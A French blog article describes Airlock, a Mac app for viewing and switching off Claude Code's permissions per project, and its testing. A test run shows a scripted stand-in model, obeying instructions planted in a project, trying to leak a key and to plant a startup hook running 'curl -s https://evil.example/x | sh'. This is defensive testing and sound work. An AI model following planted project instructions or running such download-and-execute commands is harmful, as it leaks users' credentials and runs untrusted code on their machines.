Toutes les notes8 min de lectureArticle

Toutes les autorisations de Claude Code sur mon Mac, sur une seule page, avec un interrupteur

En bref

  • La question : puis-je voir, au même endroit, tout ce que Claude Code peut toucher dans un projet sur mon Mac, couper chaque élément, et me fier à ce que la page affiche ?
  • Ce que j’ai construit : Airlock, une app Mac avec une page par projet et un interrupteur pour chaque fichier, commande, site, base de données, clé, serveur SSH et connecteur, plus une boîte Docker scellée pour le travail auquel je ne fais pas confiance.
  • Le résultat : 515 cas limites recensés, 484 prouvés par un test nommé, 31 consignés comme limites ; chaque ligne « Claude can’t » a tenu quand le vrai Claude Code tournait dans le bac à sable de macOS.
  • Mon avis : les interrupteurs étaient la partie facile. Faire concorder la page avec ce que Claude Code fait réellement a pris l’essentiel des cinq jours.

Quand j’ai lancé l’analyse en lecture seule d’Airlock sur mon propre Mac, elle a trouvé 30 projets dans lesquels Claude Code a travaillé, 524 règles d’autorisation, 48 hooks et assistants et 8 connecteurs claude.ai. Je ne pouvais pas répondre à une question simple : que peut atteindre Claude dans ce dossier, en ce moment ? La réponse est éparpillée entre cinq fichiers de paramètres, trois emplacements de configuration MCP, les variables de mon shell et les identifiants enregistrés sur mon Mac. J’ai donc construit une page qui y répond, et je me suis demandé si je pouvais rendre cette page honnête.

#Une page, trois niveaux de protection

L’écran d’accueil d’Airlock : trois étapes, See everything, Switch it et Or seal it, avec les boutons Try the demo project et Add your project

Toutes les captures d’écran viennent du dossier personnel de test : de faux secrets et des projets d’exemple, pas mon vrai Mac.

Ouvrez un projet dans Airlock : il lit le projet et votre configuration de Claude Code, puis affiche deux lignes en haut : Claude can (read code · edit files · run tests …) et Claude can’t (see 1 secret file · push · reach other sites from commands …). En dessous, chaque élément trouvé a son interrupteur : fichiers secrets, commandes (Allow, Ask ou Block), sites, connexions aux bases de données, serveurs MCP et plugins, hooks, clés, serveurs SSH et connecteurs claude.ai. La même page existe pour ce qui s’applique partout et pour Claude Desktop, et elle se met à jour pendant qu’elle est ouverte.

Une page de projet dans Airlock : les lignes « Claude can » et « Claude can’t » en haut, puis les sections Files et Commands avec un interrupteur ou un choix Allow · Ask · Block par élément

La page Everywhere : règles, serveurs MCP et sites qui s’appliquent à tous les projets, avec git push autorisé par une règle utilisateur et le serveur MCP github coupé partout

Il y a trois niveaux de protection par projet :

  • Normal. Le Claude que vous utilisez déjà suit les interrupteurs. Airlock les écrit dans le propre fichier de paramètres de Claude Code pour le projet et active le bac à sable de Claude Code, vous montre le fichier exact avant la première écriture, et ne retire que ses propres entrées quand vous cessez de gérer le projet. C’est un garde-fou, pas un mur, et la page le dit.
  • Locked. Les mêmes règles vont dans les réglages gérés de macOS après une seule demande de mot de passe, si bien que rien dans le projet ne peut les assouplir.
  • Maximum. Claude travaille dans une boîte Docker scellée, sur une copie du projet. Vos clés n’y entrent jamais : la boîte contient des substituts, et un proxy entre la boîte et Internet insère la vraie clé à la sortie, uniquement pour le site auquel la clé appartient. Seuls les sites que vous autorisez sont joignables, et les modifications reviennent pour relecture avant de toucher vos fichiers.

Le fichier qu’Airlock va écrire, affiché avant la première écriture : le .claude/settings.local.json du projet avec ses règles d’autorisation, et Cancel ou Write the file

Le mode Normal vous montre le fichier exact avant d’écrire quoi que ce soit.

Une exécution dans la boîte : Claude, suivant des instructions placées dans le projet, tente d’envoyer une clé à api.github.com/gists ; le panneau réseau montre qu’elle est bloquée, et les compteurs indiquent 10 requêtes autorisées et 4 tentatives de fuite bloquées

L’exécution ci-dessus est un test : le modèle est un substitut scripté et il n’y a pas d’Internet. L’attaque et le blocage sont réels.

La relecture après l’exécution dans la boîte : 2 fichiers modifiés, tous deux marqués « runs on your machine », dont un nouveau hook de démarrage qui lance curl -s https://evil.example/x | sh ; Apply attend une coche

Ce que le Claude piégé a tenté de laisser derrière lui : un hook de démarrage qui télécharge et exécute un script. Les deux fichiers sont signalés avant que quoi que ce soit n’atteigne vos fichiers.

Les bases de données ont droit à un niveau de détail de plus : vous pouvez couper des colonnes une par une, et Airlock crée un identifiant en lecture seule qui ne lit que les colonnes laissées actives.

Interrupteurs de colonnes pour une table users d’exemple : id et name activés, email et password_hash coupés et marqués « personal or secret »

Chaque ligne « Claude can’t » est une affirmation qu’Airlock doit mériter. Il calcule les paramètres effectifs de Claude Code à partir de chaque fichier qui s’applique, vérifie que les conditions préalables de chaque ligne sont remplies, et quand il ne peut pas en être sûr, il n’affirme rien.

#Comment je l’ai testé

J’ai construit Airlock avec Claude Code en cinq jours, du 28 octobre au 1er novembre 2026 : une session pour planifier et coordonner, d’autres pour implémenter, et des sessions de relecture distinctes qui ne faisaient que lire le code et tenter de le casser. Rien n’a utilisé mes vraies clés : chaque test tourne dans un dossier personnel jetable rempli de faux secrets. La suite d’attaques (airlock prove) exécute le vrai binaire claude dans la boîte face à un modèle simulé et tente d’en faire sortir des clés et des données. Les vérifications d’interface pilotent l’app dans un navigateur sans interface graphique.

Comment les preuves se sont accumulées

Chiffres tirés du journal du projet à la fin de chaque phase, du 28 octobre au 1er novembre 2026. Les tests unitaires incluent les tests Python du proxy.

PhaseTests unitairesSuite d’attaquesVérifications d’interface
Boîte scellée (28 oct.)s.o.19/19s.o.
Panneau de contrôle (28 oct.)s.o.23/2311/11
Page des accès (29 oct.)20125/2569/69
Projets réels (30 oct.)65633/3388/88
Une page par projet (30 oct.)80933/3383/83
Tous les projets, un seul hub (31 oct.)93033/33120/120
Locked, vraies bases (1er nov.)1,42938/38135/135

En plus de cela, sur la version finale :

  • De vraies bases de données. 58 tests sur de vrais PostgreSQL 16, MariaDB 11, MySQL 8.4, Oracle Free et Azure SQL Edge dans des conteneurs jetables, 0 échec.
  • Une exécution native. Le vrai Claude Code 2.1.289 sur ce Mac, dans le propre bac à sable de macOS, avec un modèle simulé et une fausse clé. Sur 9 configurations (SSH activé, règles Internet, réglages gérés, ports inhabituels, etc.), chaque ligne « Claude can’t » a tenu.
  • Le binaire comme juge. La lecture des paramètres par Airlock est comparée à ce que Claude Code rapporte lui-même, sur 320 agencements générés. 0 désaccord.
  • Une liste de cas limites. 515 cas, chacun avec ce qui devrait se passer et le test exact qui le prouve, ou la raison pour laquelle c’est une limite. Un script fait échouer le build si une ligne cite un test qui n’existe pas.

#Ce que les relectures ont repéré

Les failles graves ne sont pas apparues sous forme de tests unitaires en échec. Elles sont venues de relecteurs qui se demandaient « et si », et d’exécutions sur le vrai produit :

  • Le proxy se fiait au mauvais nom. La substitution de clé se décidait d’après l’en-tête Host de la requête, mais la connexion partait là où pointait le tunnel. Un tunnel vers un autre hôte qui prétendait être api.anthropic.com recevait la vraie clé, avec un 200. Corrigé : Airlock décide désormais d’après la vraie destination, et c’est devenu une vérification de la suite d’attaques.
  • Ouvrir un projet pouvait exécuter le code du projet. Un dépôt peut désigner des programmes dans sa configuration git. Les propres appels git d’Airlock les exécutaient : un réglage de surveillance de fichiers lors d’un tour, un vérificateur de signature au suivant. Git est désormais limité à 16 commandes, avec chacun de ces réglages verrouillé. Un dépôt de test les définit tous à la fois, et aucun ne s’exécute jamais.
  • Un identifiant en lecture seule qui ne l’était pas. Si un identifiant de base de données portant le nom d’Airlock existait déjà avec plus de droits, REVOKE laissait derrière lui des appartenances à des rôles. Après une configuration qui semblait correcte, l’identifiant lisait toujours email. Seuls les tests sur de vraies bases l’ont trouvé.
  • Une ligne « can’t » fausse. Claude Code ouvre aussi son bac à sable de commandes à chaque site que vous avez autorisé pour les récupérations web. Sur le vrai binaire, curl a atteint un site sans demande de confirmation alors que la page d’Airlock disait que Claude ne le pouvait pas. Corrigé : Airlock compte désormais ces sites comme le fait Claude Code, et une exécution native avec des règles de récupération web le vérifie.
  • Les tests étaient aussi un risque. Lancés depuis un sous-dossier plutôt que depuis la racine du projet, les tests sautaient leur mise en place de sécurité et pouvaient écraser mes vrais ~/.claude/settings.json et ~/.gitconfig. Cela a été repéré en relecture. Chaque fichier de test charge désormais lui-même cette mise en place, et toute écriture hors du dossier temporaire fait échouer l’exécution.

La principale leçon : la documentation et le schéma de Claude Code ne suffisaient pas à prédire ce qu’il fait réellement. La première fois qu’Airlock a demandé au vrai binaire ses paramètres fusionnés et les a comparés à sa propre lecture, 29 agencements sur 60 divergeaient.

#Ce qui ne marche pas

  • Normal est un garde-fou. Bloquer git push empêche les façons habituelles de le lancer. Un Claude déterminé peut écrire un script qui fait la même chose. La page le dit et renvoie vers Maximum pour un blocage strict.
  • Les connecteurs se connectent toujours. Airlock peut refuser les outils d’un connecteur claude.ai, mais Claude Code s’y connecte quand même. Seul claude.ai peut le désactiver.
  • 31 limites sont consignées, surtout des dépôts fabriqués exprès, comme un fichier spécial à la place de .git/config. Chacune explique pourquoi c’est une limite.
  • Pas encore construit : un interrupteur pour bloquer un projet qui redirige le propre trafic de Claude Code (la page se contente de le signaler), et le blocage de la modification des fichiers CLAUDE.md par Claude.
  • Mac uniquement. Maximum nécessite Docker Desktop.

La section Locked d’un projet : 9 règles et 3 chemins du bac à sable copiés dans les réglages gérés du Mac, et une note sur ce que coûte le verrouillage

Tout ne se verrouille pas depuis une page de projet : les interrupteurs qui s’appliquent à tous les projets ne se verrouillent que depuis la page Everywhere, et une fois le projet verrouillé, Claude Code ignore la propre liste de sites du projet.

#Mon avis

Je me suis arrêté après 11 tours de relecture. Chaque tour trouvait un type de problème plus étroit que le précédent, et un modèle exact d’un binaire à code fermé ne converge jamais tout à fait. J’ai donc corrigé les bugs courants et les vraies failles, et consigné les cas rares comme limites.

Je le referais, mais je commencerais là où j’ai fini : en demandant au vrai binaire Claude Code ce qu’il va faire, avant d’écrire le moindre interrupteur. La plupart de mes bugs venaient de ce que je supposais le sens d’un fichier de paramètres au lieu de le demander.

Si vous utilisez Claude Code sur plusieurs projets, et surtout si l’un d’eux contient des clés de production ou l’adresse d’une base de données, une page comme celle-ci vaut la peine. Si vous n’utilisez Claude Code que dans un seul dépôt en bac à sable sans rien de secret, vous n’en avez pas besoin.

Vous ne savez pas encore où l’IA a sa place ? C’est là que nous commençons.